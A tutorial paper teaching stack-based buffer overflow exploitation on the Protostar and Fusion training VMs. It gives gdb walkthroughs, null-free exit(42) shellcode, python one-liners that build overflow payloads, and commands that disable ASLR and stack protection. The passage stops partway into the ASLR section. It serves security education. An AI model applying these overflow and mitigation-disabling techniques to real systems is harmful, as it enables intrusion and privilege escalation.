Memory Corruption Exploits

zandi
University
email@address

May 5, 2014

Introduction

Though meant for a novice, prior knowledge of various concepts are recommended. For example, the reader should be familiar with the stack data structure, byte endianness, and operating system concepts like user privilege separation. Knowledge of C and assembler is also reccommended, along with basic usage of standard utilities such as `gcc, gdb, objdump`, and linux in general. This paper makes extensive use of the Protostar[1] and Fusion[2] virtual machines from `exploit-exercises.com`, to demonstrate the concepts covered. As the paper is written for the reader to follow along on their own (extensive snippets from terminal sessions), it is highly recommended to download and install these virtual machines. The author did this with virtualbox 4.2.4 with a linux host OS on a system with an Intel Atom N270 and 1GB of system memory, so doing so shouldn't be difficult for the vast majority of readers.

If you wish to follow along with basic examples on a modern operating system, you will likely need to manually disable many exploit mitigation mechanisms. For example, since linux kernel 2.6.12, the linux kernel has supported Address Space Layout Randomization (ASLR). This can be checked with `cat /proc/sys/kernel/randomize_va_space`. Values of 1 or 2 indicate that ASLR is enabled, while a value of 0 indicates that ASLR is disabled. This can be manually changed using `echo`. For example, to disable ASLR we will do the following as root: `echo 0 > /proc/sys/kernel/randomize_va_space`. Besides ASLR, the target may also need to be recompiled to disable gcc's stack protection. Simply recompiling with the `-fno-stack-protector` argument should do this. If an exploit involves executing code placed on the stack, then the stack will need to be marked executable. For the heap portion of this paper, it may be necessary to manually link the target with an older version of glibc, even as far back as 2.11 or prior. Because of all these extra considerations, it's really recommended to use the virtual machine whenever possible.

Throughout the many code snippets in the paper, there are lines which are simply too long to include on the page without line wrapping. When this happens, there is no actual line break in the code, the extra text has simply has been moved down for readability. This should be reflected by both the line numbers of the code snippet, as well as the inclusion of a "↪" character at the beginning of a wrapped line. This may seem silly, but when hand-crafting exploit buffers a stray newline will break things, so I'd rather be clear about this now than have a reader struggle later. The one exception to this is the ASLR section. The long buffers of sequential characters just weren't being wrapped properly, so I did so manually. Rest assured, they contain no newlines.

1 Stack

One of the oldest memory corruption vulnerabilities is the stack-based buffer overflow. Popularized partly due to Aleph One's paper "Smashing The Stack For Fun And Profit"[3], this older vulnerability is still a significant issue for application security. Though modern countermeasures make successful exploitation more difficult, it serves as both an occasional serious flaw, and an excellent introduction to memory corruption vulnerabilities.

1.1 Basics

At the heart of the stack-based buffer overflow is the buffer overflow. This usually occurs when data is being copied into an array, but proper bounds-checking is not performed, allowing writing to sections of memory not belonging to

[1] http://exploit-exercises.com/protostar
[2] http://exploit-exercises.com/fusion
[3] http://insecure.org/stf/smashstack.html

the array. For example, the following code contains a buffer overflow vulnerability:

```c
1 #include <stdio.h>
2
3 int main()
4 {
5   int flag = 0xf0f0f0f0;
6   char array[16];
7   gets(array);
8 }
```

stack1.c

This will locally allocate 16 bytes for our character array. Conceptually, these 16 bytes are often thought of as separate from other areas of memory, but after compiling and disassembling, we can see that this is plainly not the case:

```
1  080483fc <main>:
2  80483fc:       55                      push   %ebp
3  80483fd:       89 e5                   mov    %esp,%ebp
4  80483ff:       83 e4 f0                and    $0xfffffff0,%esp
5  8048402:       83 ec 30                sub    $0x30,%esp
6  8048405:       c7 44 24 2c f0 f0 f0    movl   $0xf0f0f0f0,0x2c(%esp)
7  804840c:       f0
8  804840d:       8d 44 24 1c             lea    0x1c(%esp),%eax
9  8048411:       89 04 24                mov    %eax,(%esp)
10 8048414:       e8 b7 fe ff ff          call   80482d0 <gets@plt>
11 8048419:       c9                      leave
12 804841a:       c3                      ret
```

(note: this example used gcc 4.7.1, objdump 2.22.0, and gdb 7.4.1)

First we have the usual function prelude, followed by an AND'ing of the `$esp` register with `0xfffffff0`. At line 5 we grow the stack by `0x30` bytes, and from lines 6 and 8, we can see that our "flag" integer is at `$esp+0x2c`, while our character array begins at `$esp+0x1c`. If we were to pause execution immediately before the call to `gets()` on line 10, the portion of interest of our stack would look as follows:

higher memory addresses	⋮
	0xf0
	0xf0
	0xf0
flag	0xf0
array (16 uninitialized bytes)	⋮
24 unused bytes	⋮
(address of array)	
`$esp` →	
lower memory addresses	⋮

Normally this would just be an implementation detail that the compiler abstracts away for the user, but in the case of buffer overflow vulnerabilities, such details become important. On line 7 of our C source, we have a call to the standard library function `gets`. A quick read of the manpage reveals the notoriety `gets` has earned itself for its role in buffer overflows:

```
 Never use gets().  Because it is impossible to tell without knowing the data in advance how
many characters gets() will read, and because gets() will continue to store characters past
the end of the buffer, it is extremely dangerous to use.  It has been used to break computer
security.  Use fgets() instead.
```

When even the man page so strongly advises against use, we can appreciate the severity of the flaw. However, nothing is quite like a hands-on example. In fact, let's debug the program under the influence of this bug. We'll just do something simple, changing the value stored in the local integer "flag". This would normally be impossible to do from just operating on a different variable, but the lack of bounds-checking in `gets`, as well as the integer's position behind our buffer on the stack allow this to happen:

```
[zandi@hacktop paper]$ gdb -q ./stack1
Reading symbols from /home/zandi/OU/exploits/paper/stack1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
 0x080483fc <+0>:     push   %ebp
 0x080483fd <+1>:     mov    %esp,%ebp
 0x080483ff <+3>:     and    $0xfffffff0,%esp
 0x08048402 <+6>:     sub    $0x30,%esp
 0x08048405 <+9>:     movl   $0xf0f0f0f0,0x2c(%esp)
 0x0804840d <+17>:    lea    0x1c(%esp),%eax
 0x08048411 <+21>:    mov    %eax,(%esp)
 0x08048414 <+24>:    call   0x80482d0 <gets@plt>
 0x08048419 <+29>:    leave
 0x0804841a <+30>:    ret
End of assembler dump.
(gdb) b *(main+29)
Breakpoint 1 at 0x8048419
(gdb) r
Starting program: /home/zandi/OU/exploits/paper/stack1
warning: Could not load shared library symbols for linux-gate.so.1.
 you need "set solib-search-path" or "set sysroot"?
asdfasdfasdfasdfAAAA

Breakpoint 1, 0x08048419 in main ()
(gdb) x/x ($esp+0x2c)
0xbffff9bc:     0x41414141
(gdb) x/s ($esp+0x1c)
0xbffff9ac:      "asdfasdfasdfasdfAAAA"
```

As we can see, we filled our buffer with more than its limit of 16 characters, carefully choosing the 4 characters to overflow with to have hex code `0x41` with standard ANSI encoding. This makes confirmation of overwriting our integer easy, and we can see that indeed we have changed the local integer "flag" from `0xf0f0f0f0` to `0x41414141`.

So, we see how lack of proper bounds-checking on such operations can lead to unintended consequences, but how bad can it really be? It may be hard to imagine a situation where overwriting a variable like this can be dangrous, but with a little ingenuity, it's easy to see.

1.2 Code Execution

To really have impact in exploiting a stack-based buffer overflow, we want to escalate our memory overwrite into code execution. This way we can trick a vulnerable program into doing our bidding, potentially using its greater privileges to do something we normally cannot. To do this with a stack-based buffer overflow, we would need a situation where a memory overwrite, starting at some location on the stack and of potentially arbitrary length, can change execution flow in a beneficial way. This leaves us the option of either exploiting the specific situation at hand, such as overwriting a function pointer the programmer is using, or exploiting the general situation of the stack itself. Luckily for us, the stack is crucial in implementing the `call` instruction, which itself is crucial in implementing function calls, giving us exactly what we need.

The precise behavior of the `call` instruction or its importance in function calls won't be detailed here, as it's assumed the reader is already familiar with this. It will suffice to say that the `$eip` register is stored on the stack when entering the function, and retreived later to return execution flow to the correct point. The basic situation is that any stack-based buffer will have this stored return address after it in memory, allowing an attacker to overwrite it during a buffer overflow. To see precisely how this is done, we'll explore another example. The target will be the stack5 challenge on protostar. It is very simple, so for extra challenge we will only use the compiled binary as a reference, doing some light reverse-engineering.

```
user@protostar:~/stack/5$ objdump -d /opt/protostar/bin/stack5
...
080483c4 <main>:
 80483c4:       55                        push   %ebp
 80483c5:       89 e5                     mov    %esp,%ebp
 80483c7:       83 e4 f0                  and    $0xfffffff0,%esp
 80483ca:       83 ec 50                  sub    $0x50,%esp
 80483cd:       8d 44 24 10               lea    0x10(%esp),%eax
 80483d1:       89 04 24                  mov    %eax,(%esp)
 80483d4:       e8 0f ff ff ff            call   80482e8 <gets@plt>
 80483d9:       c9                        leave
 80483da:       c3                        ret
```

```
13  80483db:       90                      nop
14  80483dc:       90                      nop
15 ...
```

Here we see that our `main` function is very simple. Lines 4-7 are the standard function prelude, along with stack alignment to a 16-byte boundary, and allocation of a few bytes for a buffer. With lines 8 and 9 we see the address of a buffer being put on the stack for the subsequent call to `gets` on line 10. After this, we simply return from main, beginning the journey back through libc code to the ultimate end of the program.

Since we already know `gets` is vulnerable to buffer overflows, let's focus our attention on line 10. At that point in execution, the value of `$esp+0x10` is on the stack as the argument to `gets`. From lines 6 and 7, we know that there is anywhere from `0x40+0x4` to `0x40+0x4+0xf` bytes from this location (the beginning of our target buffer) until the stored return address. Just for sanity, let's verify the situation with gdb.

```
1  user@protostar:~/stack/5/documentation$ gdb -q /opt/protostar/bin/stack5
2  Reading symbols from /opt/protostar/bin/stack5...done.
3  (gdb) disas main
4  Dump of assembler code for function main:
5  0x080483c4 <main+0>:    push   %ebp
6  0x080483c5 <main+1>:    mov    %esp,%ebp
7  0x080483c7 <main+3>:    and    $0xfffffff0,%esp
8  0x080483ca <main+6>:    sub    $0x50,%esp
9  0x080483cd <main+9>:    lea    0x10(%esp),%eax
10 0x080483d1 <main+13>:   mov    %eax,(%esp)
11 0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
12 0x080483d9 <main+21>:   leave
13 0x080483da <main+22>:   ret
14 End of assembler dump.
15 (gdb) b *(main+16)
16 Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
17 (gdb) r
18 Starting program: /opt/protostar/bin/stack5
19
20 Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffff874) at stack5/stack5.c:10
21 10      stack5/stack5.c: No such file or directory.
22         in stack5/stack5.c
23 (gdb) x/x $esp
24 0xbffff770:     0xbffff780
25 (gdb) x/24x 0xbffff780
26 0xbffff780:     0xb7fd7ff4      0x0804958c      0xbffff798      0x080482c4
27 0xbffff790:     0xb7ff1040      0x0804958c      0xbffff7c8      0x08048409
28 0xbffff7a0:     0xb7fd8304      0xb7fd7ff4      0x080483f0      0xbffff7c8
29 0xbffff7b0:     0xb7ec6365      0xb7ff1040      0x080483fb      0xb7fd7ff4
30 0xbffff7c0:     0x080483f0      0x00000000      0xbffff848      0xb7eadc76
31 0xbffff7d0:     0x00000001      0xbffff874      0xbffff87c      0xb7fe1848
32 (gdb) x/x 0xbffff874
33 0xbffff874:     0xbffff980
34 (gdb) x/s 0xbffff980
35 0xbffff980:      "/opt/protostar/bin/stack5"
36 (gdb) x/5i 0xb7eadc76
37 0xb7eadc76 <__libc_start_main+230>:     mov    %eax,(%esp)
38 0xb7eadc79 <__libc_start_main+233>:     call   0xb7ec60c0 <*__GI_exit>
39 0xb7eadc7e <__libc_start_main+238>:     xor    %ecx,%ecx
40 0xb7eadc80 <__libc_start_main+240>:     jmp    0xb7eadbc0 <__libc_start_main+48>
41 0xb7eadc85 <__libc_start_main+245>:     mov    0x37d4(%ebx),%eax
42 (gdb) disas __libc_start_main
43 Dump of assembler code for function __libc_start_main:
44 ...
45 0xb7eadc6f <__libc_start_main+223>:     mov    %eax,0x4(%esp)
46 0xb7eadc73 <__libc_start_main+227>:     call   *0x8(%ebp)
47 0xb7eadc76 <__libc_start_main+230>:     mov    %eax,(%esp)
48 0xb7eadc79 <__libc_start_main+233>:     call   0xb7ec60c0 <*__GI_exit>
49 ...
```

It's assumed that the reader is familiar enough with gdb that only the bits relevant to our overflow will need explaining. Once we set our breakpoint and stop execution on it, we examine the stack. Since `gets` takes an argument of type `char *`, on lines 23 and 25 we examine our buffer, plus some of what's after it. Note that in disassembling our target, we don't yet know precisely how large the buffer is designed to be, but we can certainly place bounds on it. For example, we know it must be at least `0x40` bytes, but its limit is also determined by the location of parameters to `main` on the stack. So, certainly everything from `0xbffff780` to `0xbffff7bf` is valid memory for the local buffer.

Note that the memory appears used and of importance because C does not initialize memory when it is allocated, so we have some garbage values on the stack to ignore.

Returning to the issue at hand, we want to try and precisely pin down how far from the beginning of our buffer the stored `$eip` is. The quick and dirty method would have us already entering buffers of different length into the program and examining the crash to determine what length we want, but we can do better than that. Remembering that the arguments to `main` are `int argc, char **argv, char **envp`, we can easily find our target. Given the way we executed the program, we know that `argc` is 1, and `argv` points to a `char *` which is pointing to the string "/opt/protostar/bin/stack5". In fact, the `0x00000001` at `0xbffff7d0` is a dead-ringer for `argc`, so on lines 32 and 34 we verify that we indeed have the expected `char **argv` at `0xbffff7d4`. This is indeed the case, so we now know that arguments to `main` are at `0xbffff7d0`, meaning that our target return pointer is located at `0xbffff7cc`. In fact, at line 36 we examine that section of memory (`0xb7eadc76`) for instructions, and finding that it's located in `__libc_start_main`, disassemble it a bit further to verify that it is preceded by a `call` instruction at `0xb7eadc73`. Seeing this, we can confidently say that our vulnerable buffer begins at `0xbffff780` and our ultimate target is at `0xbffff7cc`, so we want a buffer with a length of `0x50` (80) bytes.

So, we've established that with a buffer of 80 bytes, we can take advantage of the buffer overflow to overwrite a value which will ultimately let us decided where the processor will load and execute instructions from. Let's quickly test this, using gdb and some perl trickery.

```
user@protostar:~/stack/5$ perl -e 'print "A"x80' > crashme
user@protostar:~/stack/5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < crashme
Starting program: /opt/protostar/bin/stack5 < crashme

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Here, we create an 80-character byte string of "A", and store that in a file. Because this is ASCII, "A" = `0x41`, meaning that "crashme" is now a file with 80 `0x41` bytes repeating. This not only fulfills length requirements to overflow into our target, but also gives us a value to watch for; `0x41414141`. In fact, when debugging the program under gdb, we notice that we segfault when the processor tries to load/execute an instruction from `0x41414141`, confirming that we are indeed overwriting our target and redirecting execution flow!

1.2.1 Leveraging Execution Redirection

So, we can redirect execution arbitrarily, but what good does that do us? Certainly, we're limited only to whatever other functions and code our target has loaded into memory, right? Well, the answer is a little more complicated than that, and without modern protections, certainly easier. For example, older programs usually have an executable stack, allowing us to overflow our buffer with code that we will then execute. This works because in most modern computers, and certainly the x86 ones we're examining, code is data and data is code, the only difference is in how it's interpreted. As a simple proof of concept, we will exploit the vulnerable program `stack5` using a simple payload to change the program's exit value to 42. An easy way to get working machine code is simply to write a C program doing what you want, compiling, then disassembling it.

```c
#include <stdio.h>

int main()
{
        exit(42);

}
```

exit.c

Very simple. We just call the standard library function `exit()`, passing a parameter of 42. To get to the heart of this and implement it for our shellcode, we have to briefly mention some things regarding glibc and linux. With glibc, `exit()` doesn't just exit the program. It will close open handles, and run any functions registered with `on_exit()`. Ultimately, it's the `_exit()` function that will end our program, using the standard linux syscall facility to call the `sys_exit` function within the kernel. As this involves setting registers before issuing an interrupt via `int $0x80`, we'll want to look for this instruction.

Secondly, gcc will compile programs for dynamic linking by default. This means we can't simply disassemble our binary and find the x86 instructions for `_exit`, but instead we have to debug it live, waiting for the linker to place the glibc library in our process' memory space. Alternatively, we could compile with the `-static` option to statically link glibc into our binary, but either way we'll get the same result.

```
user@protostar:~/shellcode/exit$ gcc -o exit_c exit.c
user@protostar:~/shellcode/exit$ gdb -q ./exit_c
Reading symbols from /home/user/shellcode/exit/exit_c...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x10,%esp
0x080483cd <main+9>:    movl   $0x2a,(%esp)
0x080483d4 <main+16>:   call   0x80482f8 <exit@plt>
End of assembler dump.
(gdb) b *(main+16)
Breakpoint 1 at 0x80483d4
(gdb) r
Starting program: /home/user/shellcode/exit/exit_c

Breakpoint 1, 0x080483d4 in main ()
(gdb) disas _exit
Dump of assembler code for function _exit:
0xb7f2e154 <_exit+0>:   mov    0x4(%esp),%ebx
0xb7f2e158 <_exit+4>:   mov    $0xfc,%eax
0xb7f2e15d <_exit+9>:   int    $0x80
0xb7f2e15f <_exit+11>:  mov    $0x1,%eax
0xb7f2e164 <_exit+16>:  int    $0x80
0xb7f2e166 <_exit+18>:  hlt
End of assembler dump.
```

Alright, so now we can closely examine how exactly our program exits using `_exit`. First, it loads its parameter into `$ebx`, then it loads `0xfc` into `$eax`, following it with an `int $0x80` instruction. This basically calls the `sys_exit_group` function from the kernel, with the exit code as whatever value is in `$ebx`. After this, it calls `sys_exit` with the same parameter, then halts, because after this, the program should no longer be executing. Using this, we can craft our own program to exit with a value of 42.

```
.section .text
.globl _start
_start:
        xorl %eax,%eax
        xorl %ebx,%ebx
        movb $42,%bl
        movb $1,%al
        int $0x80
```

This program not only calls the `sys_exit` syscall with a value of 42, but also is designed specifically to avoid producing null bytes when assembled. This is so that during exploitation, our shellcode is entirely accepted by `gets`, as opposed to truncated at the first null byte. Let's assemble this and take a look.

```
user@protostar:~/shellcode/exit$ as -o exit.o exit.asm
user@protostar:~/shellcode/exit$ ld -o exit_asm exit.o
user@protostar:~/shellcode/exit$ objdump -d exit_asm
...
08048054 <_start>:
 8048054:       31 c0                   xor    %eax,%eax
 8048056:       31 db                   xor    %ebx,%ebx
 8048058:       b3 2a                   mov    $0x2a,%bl
 804805a:       b0 01                   mov    $0x1,%al
 804805c:       cd 80                   int    $0x80
user@protostar:~/shellcode/exit$ ./exit_asm
user@protostar:~/shellcode/exit$ echo $?
42
```

Here, we assemble and link our exit.asm file, then use objdump to verify that we have not produced any null bytes (we haven't). Next, we run our program and verify it does exit with a value of 42 (it does). Now that we've done this, we're basically ready to build some very simple shellcode that will essentially `_exit(42)` when executed in the target process. As the only important piece of information at this step is the specific sequence of bytes which make up our `_exit(42)` shellcode, let's do one final test with it, executing it in an environment similar to our target.

```
//injectable version (no nulls)
char injectable[] = "\x31\xc0" // xorl %eax,%eax
                    "\x31\xdb" // xorl %ebx,%ebx
                    "\xb3\x2a" //movb $42,%bl
                    "\xb0\x01" //movb $1,%al
                    "\xcd\x80"; //int $0x80
void launchpad(long placeholder)
{
        long *eip = &placeholder;
        eip--;
        *eip = (long)&injectable;
}

int main()
{
        launchpad(0xf0f0f0f0);
}
```

Here, our launchpad function takes advantage of the standard calling convention to overwrite its own return pointer with the address of our shellcode, simulating an execution redirection in a normal exploitation. Debugging this program lets us watch the return value get clobbered, as well as test that our shellcode functions as it should.

```
user@protostar:~/shellcode/exit$ gdb -q ./shellcode
Reading symbols from /home/user/shellcode/exit/shellcode...(no debugging symbols found)...done.
(gdb) disas launchpad
Dump of assembler code for function launchpad:
0x08048394 <launchpad+0>:       push   %ebp
0x08048395 <launchpad+1>:       mov    %esp,%ebp
0x08048397 <launchpad+3>:       sub    $0x10,%esp
0x0804839a <launchpad+6>:       lea    0x8(%ebp),%eax
0x0804839d <launchpad+9>:       mov    %eax,-0x4(%ebp)
0x080483a0 <launchpad+12>:      subl   $0x4,-0x4(%ebp)
0x080483a4 <launchpad+16>:      mov    $0x8049598,%edx
0x080483a9 <launchpad+21>:      mov    -0x4(%ebp),%eax
0x080483ac <launchpad+24>:      mov    %edx,(%eax)
0x080483ae <launchpad+26>:      leave
0x080483af <launchpad+27>:      ret
End of assembler dump.
(gdb) b *(launchpad+27)
Breakpoint 1 at 0x80483af
(gdb) r
Starting program: /home/user/shellcode/exit/shellcode

Breakpoint 1, 0x080483af in launchpad ()
(gdb) si
0x08049598 in injectable ()
(gdb) x/5i $eip
0x8049598 <injectable>: xor    %eax,%eax
0x804959a <injectable+2>:       xor    %ebx,%ebx
0x804959c <injectable+4>:       mov    $0x2a,%bl
0x804959e <injectable+6>:       mov    $0x1,%al
0x80495a0 <injectable+8>:       int    $0x80
(gdb) c
Continuing.

Program exited with code 052.
```

So, we place a breakpoint on the return instruction of the `launchpad` function, and step to the next instruction once we hit it. As we can see, this puts us in our `injectable` array, and interpreting the data as 5 instructions, we see the instructions of our shellcode. Continuing execution, we exit with a status of `052`, which is the octal representation of `42` in decimal, fully convincing us that our shellcode was executed and does what we want. Now, to make use of it in an actual exploit.

For the `stack5` challenge, we have a fairly simple setup.

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

```

```c
int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

stack/stack5.c

We have a 64-byte buffer, and call `gets` on it, presenting us with a buffer overflow vulnerability. First, we'll determine the number of bytes we'll need to overflow into the return address. This can be done with trial and error, sending buffers of over 64 bytes and determining how many bytes you can send before a segfault would happen. Instead, since the program is simple we'll just debug it and find out.

```
user@protostar:~/stack/5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b *(main)
Breakpoint 1 at 0x80483c4: file stack5/stack5.c, line 7.
(gdb) r
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack5/stack5.c:7
7       stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) i r esp
esp            0xbffff7cc       0xbffff7cc
(gdb) b *(main+16)
Breakpoint 2 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) c
Continuing.

Breakpoint 2, 0x080483d4 in main (argc=1, argv=0xbffff874) at stack5/stack5.c:10
10      in stack5/stack5.c
(gdb) i r eax
eax            0xbffff780       -1073744000
```

Here, we place a breakpoint at the beginning of the function, so we can easily get the address the return pointer is located at, since it will be where the `esp` register is pointing. Next, we breakpoint just before the call to `gets`, so we can find the address of our buffer in the `eax` register. Taking a simple difference, we see that we should use 76 bytes to get from the beginning of the buffer to the return address. Now, we do have to be careful. Because of the `and` instruction, it's possible that this difference can change by as much as 16 bytes, depending on differences in execution prior to entry to main. For example, different arguments can possibly change this difference. However, 16 bytes isn't a large differenence, so we will simply brute-force this. Also, we'll make use of python on the command line, and build our buffer with a sequence of NOP instructions in the beginning, simply so that we won't have to update the address we jump to each time we change the buffer size.

```
user@protostar:~/stack/5$ python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80" + "\xf0\xf0\xf0\xf0"' > testinput
user@protostar:~/stack/5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < testinput
Starting program: /opt/protostar/bin/stack5 < testinput

Program received signal SIGSEGV, Segmentation fault.
0xb700f0f0 in ?? ()
(gdb) q
A debugging session is active.

        Inferior 1 [process 3752] will be killed.

```

```
Quit anyway? (y or n) y
user@protostar:~/stack/5$ python -c 'print "\x90"*66 + "\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80" + "\xf0\xf0\xf0\xf0"' > testinput
user@protostar:~/stack/5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < testinput
Starting program: /opt/protostar/bin/stack5 < testinput

Program received signal SIGSEGV, Segmentation fault.
0xf0f0f0f0 in ?? ()
```

Here, the `0xf0f0f0f0` bytes make for a convenient "flag" to search for. Luckily, the first guess had us partially overwriting the return pointer, so it was easy to adjust things for a proper overwrite. Now, remembering that our buffer began at `0xbffff780`, we simply use this address for the return pointer, though anything in the range `0xbffff780-0xbffff7c2` should work.

```
user@protostar:~/stack/5$ python -c 'print "\x90"*66 + "\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80" + "\x80\xf7\xff\xbf"' > testinput
user@protostar:~/stack/5$ /opt/protostar/bin/stack5 < testinput
user@protostar:~/stack/5$ echo $?
42
```

Excellent! So now, we're intelligently corrupting data to make a vulnerable program execute instructions we provide! It's not too difficult to imagine such an attack having a large impact. For example, if we had found a similar vulnerability in a setuid program owned by root, it's possible for us to execute instructions with root permissions. Or, perhaps we need to modify some variables a program uses internally, but we don't have permissions to attach a debugger to it. It isn't difficult to see how something like this can be abused.

1.3 ASLR

One of the earliest responses to buffer overflows is Address Space Layout Randomization (ASLR). Introduced in 2001 in PaX, the goal of ASLR is to make successful exploitation of a vulnerability more difficult by introducing entropy into addresses of the stack, heap, functions, and shared objects. If we re-examine the work we've done so far, we'll notice that we're pretty reliant on knowing precisely where various things are. For example, to get code execution we need to both store our shellcode somewhere in the process' memory space, and know the address it is stored at, so we can jump to it and redirect execution. While we can still rely on there being a fixed number of bytes from the beginning of a vulnerable buffer until the stored return address, we'll quickly notice that some things are moved around, and it's no longer sufficient to simply overwrite the return pointer with the same constant.

As a demonstration, let's begin with a slightly more complicated, but still doable, stack-based buffer overflow. This is still without any protections, so it should be fairly straightforward. This is `level00` on the `fusion` virtual machine from exploit-exercises.com. This is designed to pick up where protostar left off, and introduce more advanced concepts, such as exploit mitigations. We'll leave further vm-specific information for later.

First, the scenario. Following is the important bits of the source from exploit-exercises.com:

```c
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
```

```
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}
```

stack/fusion_level00.c

It's a bit more complicated, but not too bad once we get down to it. Basically, this program hosts a psuedo-http server. It's not actually http-compliant at all, but at least forces you to try and pretend. It listens for connections on a socket, and will helpfully tell visitors the address of its internal buffer. After a read from the socket it will parse the input, making sure it at least sort of looks like an http GET request, then pass a portion to the `fix_path` function. This is where things get interesting, as we see that this function has a 128-byte buffer that it calls a `strcpy` on! This is bad. Alright, so we think we've found a vulnerability. Let's start experimenting. We can find this program listening on port 20000 of the virtual machine. Using `fusion:godmode` to log in (and remembering root's password is also `godmode`), we can take advantage of core dumps in reversing this exploit. First, let's send a bit over 200 bytes. Since this has a decent chance of overwriting the return pointer, we'll pattern it to help us determine memory layout. This can be done with a simple python script and netcat.

```
buf = []
for i in range(0x41,0x4c):
      buf.append(chr(i)*20)
      print ''.join(buf)
```

Using the pre-3.0 python on fusion, we take 20 copies of the first 12 letters each, and append them all together. This gives a nice, simple buffer we can just copy/paste:

```
fusion@fusion:~/level00$ python buf.py
AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEE
FFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJ
KKKKKKKKKKKKKKKKKKKK
```

So, testing is as simple as sending a properly formatted buffer with netcat, and examining the core dump `/core`. If this file exists already, you should delete it with `rm` before making another. Of course, we'll also want to execute `ulimit -c unilimited` to allow coredumps unilmited in size

```
fusion@fusion:~/level00$ nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
GET AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEE
EEEEFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJ
JJJJKKKKKKKKKKKKKKKKKKKK HTTP/1.1
fusion@fusion:~/level00$ sudo gdb -q --core /core
[New LWP 3042]
Core was generated by '/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x48484847 in ?? ()
```

Excellent! The return pointer happened to be directly on a boundary. Remembering how the buffer was crafted (increasing order), and the little-endianness of our intel machine, then we know that the return address is directly where "GHHH" is in our buffer. To further verify this, we can craft another buffer with a specific value where we expect the return pointer to be, send it to the server, then check the coredump. Remember that we'll need to remove the coredump /core before crashing the program again, as otherwise it won't be overwritten.

```
fusion@fusion:~$ sudo rm /core
fusion@fusion:~$ python -c 'print "GET " + "A"*139 + "\xf3\xf2\xf1\xf0" + " HTTP/1.1\n"' | nc
↪ localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
```

Here, we place the bytes 0xf0f1f2f3 where we expect the return pointer to be; 139 bytes after the beginning of our "path" buffer. Thus, if this is the right location, we'll see that our coredump will have been generated after a segfault trying to access 0xf0f1f2f3. As we can see, this is indeed the case:

```
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 1901]
Core was generated by '/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0xf0f1f2f3 in ?? ()
```

So, we can quite easily crash the program, and by now we know the next step is to redirect execution somewhere beneficial, such as to some place in memory where we've stored some shellcode. However, the current portion of the buffer we're using is passed to a realpath(path, resolved) function on line 7 of the source, which is in the function where our actual overflow happens. Playing it safe, we'll assume this function is valid in checking that a given string could possibly represent a file, meaning we probably won't get away with putting non-printable characters in here, something very difficult to avoid when trying to represent instructions. It is technically possible to construct valid shellcode using only printable/readable characters[4], but this is definitely out of the scope of this paper.

